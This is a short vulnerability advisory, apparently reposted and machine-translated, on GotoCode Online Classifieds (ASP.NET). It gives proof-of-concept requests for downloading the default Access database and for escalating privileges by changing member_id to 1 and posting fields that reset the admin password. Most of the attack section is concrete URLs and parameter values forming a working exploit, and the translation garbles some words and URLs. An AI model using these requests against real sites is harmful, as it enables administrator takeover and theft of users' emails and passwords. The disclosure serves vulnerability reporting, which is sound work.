Multiple GotoCode Online Classifieds defects and repair

 

Title: GotoCode Online Classifieds Multiple Vulnerabilities

Defect Description: Privilege Escalation/Remote Database Download

Author: Nathaniel Carew www.2cto.com

: Http://www.gotocode.com/apps.asp? App_id = 5 &

Platform: ASP. NET

Test System: MS Windows Server Standard 2003 SP2/IIS 6

 

Thank you: Peregrinus & Birch Meister General

 

Overview:

 

 

Database:

 

If the application is configured using the default directory structure and

 

Access database then a user can download the access database.

 

 

Privilege Escalation:

 

First reset your own password via the 'registration' link:

 

Http://www.bkjia.com/[path]/Registration. aspx

 

This now takes you to a new page where you can select the 'edit my info' link:

 

Http://www.bkjia.com/[path]/MyInfo. aspx? Member_id = 10 &

 

Change the above get uri to member_id = 1 & and refresh

 

 

Now by modifying the following variables in the POST data you can reset the admin password

 

With the password you entered into the appropriate field to gain full admin rights to the web application:

 

 

P_Record_member_id = 1

 

Record_member_id = 1

 

Record_name = admin

 

Record_member_password = newpass

 

 

Proof of Concept:

 

-----------------

 

Http://www.bkjia.com/[path]/Classifieds_MSAccess.mdb

 

Http://www.bkjia.com/[path]/MyInfo. aspx? P_Record_member_id = 1 & Record_member_id = 1 & Record_name = admin & Record_member_password = newpass & Record_email = moo & Record_location = & Record_home_phone = & Record_work_phone =

 

 

Impact:

 

-------

 

By resetting the admin password an attacker wocould be able to completely control the application, users

 

And their associated data. Successful database exploitation wocould allow an attacker to download the complete

 

Database of users information including email addresses usernames, passwords and associated classified listed data.